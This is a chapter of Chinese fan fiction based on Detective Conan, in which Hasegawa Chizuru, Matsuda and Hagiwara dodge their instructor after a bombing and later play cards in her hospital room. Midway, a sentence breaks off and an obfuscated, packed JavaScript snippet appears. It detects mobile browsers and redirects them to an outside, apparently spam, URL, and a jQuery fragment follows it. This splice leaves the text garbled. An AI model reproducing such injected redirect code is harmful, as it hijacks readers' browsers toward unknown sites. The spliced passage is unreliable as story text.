五分钟后,所有人质都成功获救。
如果这是一部电影,此时或许该响起片尾曲,屏幕上开始滚动演职人员的名单。但现实往往更悲壮一些,长谷川千鹤、松田阵平还有萩原研二三人并排坐在楼下广场的长椅上,在警车红蓝.灯光的映照下,显得疲倦又安心。
小桥绿和佐仓奈绪子没有受伤,做完笔录后,就被赶来的男友和家人接走了。山中裕介大概觉得丢了面子,早就悄悄溜走。平泽圭像在躲着谁,一看到警察就没了踪影。
只有长谷川千鹤因为胳膊受了伤,被两人硬是按在这里,披着毛毯,等着医护人员处理完伤势更严重的患者后,再来查看她的情况。
“今天真的谢谢你们了...”长谷川千鹤轻声说。
松田阵平挑起眉:“真要谢我?那就请我吃一个月饭怎么样?”
“不行!这个绝对不行!”千鹤立刻拒绝——开玩笑,松田阵平绝对能把她吃穷。
“等我去了爆处组,那些报告就交给你写了,那种东西,光是想想都觉得好麻烦...”松田阵平刚才从前辈口中得知,每次行动结束后,出勤人员都得交一份详细报告,瞬间觉得光明的未来被蒙上了一层阴影。他原本以为只有刑事部才需要写那么繁琐的报告。
为什么都已经不是学生了,还要没完没了地写这种东西!
“松田,你可是未来的警官,这种事还是得自己来哦。”长谷川千鹤笑得不怀好意,“你的报告可是检察官判断案件是否需要提起公诉的重要依据哦!”
“小阵平,报告可是得自己写啊!”萩原研二笑嘻嘻地将胳膊搭在他身上,“那种事情,对你来说肯定很简单啦!”
“真是没诚意。”松田阵平向后一靠,双手交叉枕在脑后,不满地嘀咕,“我可是从穷凶极恶的炸弹犯手中救了你,连这点报酬都不愿意支付?”
被他这么一说,长谷川千鹤的良心微微痛了一下,但很快她就心一横,良心是什么,她没有这种东西啦!
“这样吧,以后打麻将,我不记牌了。”长谷川千鹤一脸沉痛,仿佛做出了天大的让步。
没想到松田阵平和萩原研二同时眼前一亮:“这可是你自己说的!一言为定!”
忽然觉得有点后悔,长谷川千鹤刚想反悔,就发现他们三人被一个极具压迫感的阴影笼罩住。
长谷川千鹤抬起头,还有些茫然,但她身旁的萩原研二和松田阵平已经全身僵硬,肌肉紧绷。
“你们两个看上去心情不错嘛!”来人勾起嘴角,露出灿烂的笑容,同时双手交叉握拳,把指节捏得咯吱作响,“谁能跟我解释一下,为什么我的马自达会出现在这里?”
鬼冢八藏在附近听说东都百货商场发生了爆炸案件,就跟着人流过来看看,没想到意外在附近看到了自己的车!
不出意外的,车的一公里内他看到了萩原研二和松田阵平这两个混小子!
“鬼冢教官,你先听我解释!”萩原研二大惊,这个架势看起来真不妙啊!
“解释之前,先接招!”
长谷川千鹤还没来得及眨眼,就见两道拳头像是闪电一样分别砸在萩原研二和松田阵平头上。下一刻,两人的头顶各冒起一个大包。
“是这样的教官,我妹妹被炸弹震得脑震荡了,我实在不放心才赶过来看看!”萩原研二轻轻转过她的头,像鬼冢教官展示那颗【可能脑震荡】的脑袋,“我们千鹤的脑子可是很宝贵的!我觉得必须去医院拍个CT,确认真的没事才行,不然这可是全人类的损失!”
长谷川千鹤:......
“没错!教官你别看她表面上只是轻伤!那可是炸弹啊,冲击力那么大,谁知道有没有内伤,说不好耳膜已经被震坏了!”松田阵平拉着她的胳膊,向鬼冢教官展示上面的伤口,语气听起来还挺像那么一回事的。
长谷川千鹤:......
鬼冢八藏被他们一打岔,目光直直落在长谷川千鹤身上。
长谷川千鹤内心无语,但行动上非常配合,她捂住额头,声音逐渐微弱:“感觉头好晕...研二,我有点想吐...”说着,人就向一旁倒去。
萩原研二眼疾手快地扶住她,松田阵平看到这一幕立刻跳起来:“医生!医生!这边有人晕倒了!
一位个穿着白大褂的医生听到喊声迅速冲过来,动作利落地托起长谷川千鹤的脸,打开手电检查她的瞳孔对光线反应:“现在感觉怎么样?想不想吐?”
长谷川千鹤眨眨眼睛,硬着头皮编下去:“头还是晕,确实有点想吐...”
医生收起手电,又拿出碘伏为她处理手臂上的伤口:“胳膊上的伤不严重,我先帮你包扎好。头晕的话还是需要去医院拍个CT,我让救护车送你去医院检查。”
还要去医院?
长谷川千鹤愣了一下,赶紧转头朝萩原研二使了好几个眼色。
萩原研二立刻会意,露出【交给我】的表情,转头对鬼冢八藏说:“教官您看,她真的伤得不轻,我们得赶紧去医院了。这个车钥匙就先还给你!”
说完,就拿出车钥匙递给鬼冢八藏。
长谷川千鹤崩溃:我是想让你糊弄过去,不是真要去医院啊!!!
脑震荡这种问题就是属于从外表很难看出来,但是既然患者自己说了头晕,医院肯定会把CT、磁共振全套检查通通给她安排上。说不好为了保险起见,还会让她住院观察两天。
想到这里,长谷川千鹤在别人看不到的角度,悄悄伸手掐在萩原研二的腰上,狠狠一拧。
萩原研二疼得倒吸一口凉气,却强撑着面不改色,只有熟悉的松田阵平从他的细微表情中察觉了异样。
松田阵平眯起眼,刚想明白是怎么回事,嘴角咧开正要发出嘲笑,就感觉一阵剧痛从胳膊上传来。
长谷川千鹤十分公平地掐住松田阵平胳膊内侧的软肉,用力一拧,那个力度大得让他差点没绷住表情。
“既然是这样,萩原、松田,你们就先送这位小姐去医院吧。这次就先放过你们!”鬼冢八藏对着他们挑了挑眉,也不知道是真的信了,还是暂时不打算追究。
这时候,目暮十三带着两名下属走了过来,看到几人围在一起,耳朵又捕捉了【医院】这个关键词,他立刻拍板:“你们要去医院吗?那长谷川小姐的笔录就在医院做吧,可以吗?”
这位目暮警官居然还记得她的名字...
长谷川千鹤很想装作没看见目暮警官投来的那道强烈到让人无法忽视的微妙视线,但是完全做不到啊!
他一定是还记得之前在杯户城市酒店发生的事情!
都怪那个该死的炸弹犯,为什么非要把炸弹装在她吃饭的餐厅,害她又碰上了这位目暮警官!
“......”既然躲不掉,不如主动出击,把话题主动权抓在自己手里,“好巧哦,目暮警官,我们又见面了!”
目暮十三神情复杂地看着她,刚才被困的八个人从餐厅出来时,他一眼就认出了长谷川千鹤——就是之前在杯户城市酒店因为男友劈腿在酒店大堂大闹一场的老熟人。
毕竟对方当时用手提袋在他身上砸了好几下,回去后那些淤青足足过了一礼拜才消退,想让人忘记都很难。
当他给其他人做笔录时,听说拆了两个炸弹的就是长谷川千鹤,忍不住怀疑,她是不是因为前段时间失恋受了刺激,所以才想拉着所有人共沉沦。
这么想着,他忍不住仔细打量起长谷川千鹤的表情,看起来挺正常的,难道是那种在沉默中爆发的类型?
“千鹤,你认识目暮警官?”萩原研二好奇地问。
“上次因为一个案件刚好遇到过。”长谷川千鹤微笑着,对着目暮警官一字一句地说,“对了警官,上次那个案件你们查得怎么样了呀?”
“......”目暮十三尴尬地笑了笑,被戳到了痛处。
当时他们又是封锁现场,又是对每位出入酒店的客人进行安检,声势浩大,结果连一个嫌疑人都没抓到。虽然主要责任在警护课,但他们同属警视厅。警护课抓不到人,媒体抨击的可是整个警视厅!
为了赶紧结束这个话题,他十分体贴地说:“你们不是要去医院吗?别耽误病情了,快去吧!”那语气,完全是想打发他们走的样子。
长谷川千鹤三人没有一个低情商,自然听出了他话里的意思,乖乖地按照医生指引,坐上了救护车离开现场。
目暮十三看着他们三个远去的背影,突然福至心灵。不愧是年轻人啊!这才失恋没多久,这么快就展开新的恋情了!
完全不知道目暮警官已经想歪的长谷川千鹤松了口气,果然主动出击才能掌握话题的主动权,至于之后警官还要来医院做
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282050|181126||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笔录,那就是以后的事了,到时候萩原研二和松田阵平肯定早就走了!
然后,说谎的人是会收到惩罚的,长谷川千鹤也不例外。经过医生诊断,她真的有轻微脑震荡,不得不留院观察三天。
“好无聊啊!”松田阵平坐在病房里的沙发上,一边按着遥控器不停切换电视机频道一边抱怨。
长谷川千鹤头也不抬,随手翻过一页书:“觉得无聊就回去啊!又没人非要你留在这里!”
还不是因为你已经被连环杀人犯盯上了。松田阵平心里嘀咕,但是话到了嘴边转了几圈,还是没有说出口。
萩原研二在病房转了一圈,突然在茶几的抽屉里发现了什么,眼睛一亮:“有扑克牌!我们来玩这个吧!”
松田阵平终于掀起眼皮,漫不经心地瞥了眼扑克牌,幽幽地说:“行吧,这种时候也没什么可挑的了...”
说着,他起身走到病床前,抽走长谷川千鹤正在看的书,看到书名后忍不住抽了抽嘴角:“药代动力学...你这家伙用功得让人害怕,都进医院了也不好好休息。”
“对我来说,看这个就是休息了。”长谷川千鹤不满地抢回自己的书,“你自己看机械相关的书时,不也是这个样子。”
“小阵平的意思呢,其实就是想让你和我们一起玩扑克。”萩原研二已经把椅子搬到病床边,跃跃欲试地举着扑克牌,“来嘛!小千鹤,一起玩吧!”
“好吧。”长谷川千鹤收起书,“那你们想玩什么?”
“二十一点怎么样?”萩原研二提议。
“输了的人有什么惩罚?如果没有惩罚,我可不玩!”松田阵平嘴上这么说着,身体却诚实地坐到了床边,甚至已经抓过扑克开始洗牌了。
“这个嘛...”萩原研二想了想,“小千鹤现在肯定不能喝酒,我们手头也没材料做什么黑暗饮料。这样吧,还是贴纸条好了!不过我们也没笔,不如我去跟护士小姐借一支...”
“用这个吧。”长谷川千鹤拿出一根眉笔,“这个应该也能写,跟铅笔差不多。不过你们得轻点,别给我弄断了。”
学生时代他们经常聚在萩原家里,写完作业或者觉得光看电视太无聊,就会一起打麻将或者玩扑克。那时候,萩原千速最沉迷这项活动,她热衷于调制各种古怪的黑暗饮品作为惩罚,绝对让人喝完灵魂出窍。
“好,那我们就开始吧!”松田阵平放下豪言,“某人待会输多了可别哭鼻子!”
三十分钟后...
“你是不是又记牌了!”松田阵平顶着满脸纸条,难以置信地问,“不是说好不记牌吗?!你这根本是作弊!不行,我们玩抽鬼牌!”
“松田,你是不是输不起?!”长谷川千鹤有些不高兴了,“我只说过麻将不记牌,又没说二十一点也不记!”
“怎么,你不敢玩?”
两人视线相交,那瞬间仿佛有电光闪过。
长谷川千鹤啪地把扑克牌往身前一扔:“玩就玩!”
萩原研二无奈地摸着鼻子,抬头看向天花板,咦,这个花纹还蛮好看的。小千鹤还是这样呢,一点都经不起激将法。
三十分钟后,顶着满脸纸条的人又多了一个人。松田阵平根本控制不住脸上灿烂的笑容,拿着一张写着【败犬】的纸条往长谷川千鹤脸上贴:“哈哈哈,你哈哈哈,别、别动,都快没地方贴了哈哈哈!”
长谷川千鹤额角青筋直跳,被他笑得恼羞成怒:“这不可能!怎么每次鬼牌都会在我这里?一定是你搞鬼了!”
“喂喂!你自己运气不好,可别赖我啊!”
萩原研二一脸同情地看着她:“小千鹤,你最近是不是...运气不太好啊...”
他也觉得不可思议,怎么每次都这么巧,鬼牌总能被长谷川千鹤抽中。说起来她确实很倒霉,出门吃个饭都能碰到炸弹犯,现在还被连环杀手盯上。
“咳咳,要不我们今天就到这里吧...”在场唯一一个脸上干干净净的萩原研二试探着说。
“不行!”
“不行!”
长谷川千鹤和松田阵平两人异口同声,枭青色和琥珀色的瞳孔在这一刻达到了高度一致,里面燃烧着凶狠的斗志。
“行吧...那就继续。”萩原研二被两人充满杀气的目光镇住,恍惚间甚至觉得两人身后都快冒出黑雾了。